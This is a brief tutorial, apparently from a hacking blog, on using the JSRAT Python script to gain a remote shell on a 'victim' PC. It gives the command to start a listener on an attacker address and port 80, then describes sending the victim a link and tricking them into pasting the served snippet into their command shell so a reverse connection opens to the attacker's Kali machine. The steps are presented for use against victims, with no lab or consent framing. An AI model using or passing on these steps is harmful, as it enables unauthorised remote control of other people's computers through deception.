JSRAT is a python Script that can be used to get a remote shell of victim pc.
Open terminal and Type
Now go to the jsrat foler using cd JSRAT-Py and the following command to run jsrat
./JSRAT.py –i 192.168.0.140 –p 80
Now Server is Up and Listening. Copy Client Command link i.e. http://192.168.0.140:80/wtf and send it to the victim. As the victim opens the link in the browser a snippet will appear like this.
Copy that snippet and paste in the cmd shell of victim.
As soon as the victim executes it you will get a reverse connection back in your kali terminal.
From here you can dig into the System as deep as you want. For Further details check this link.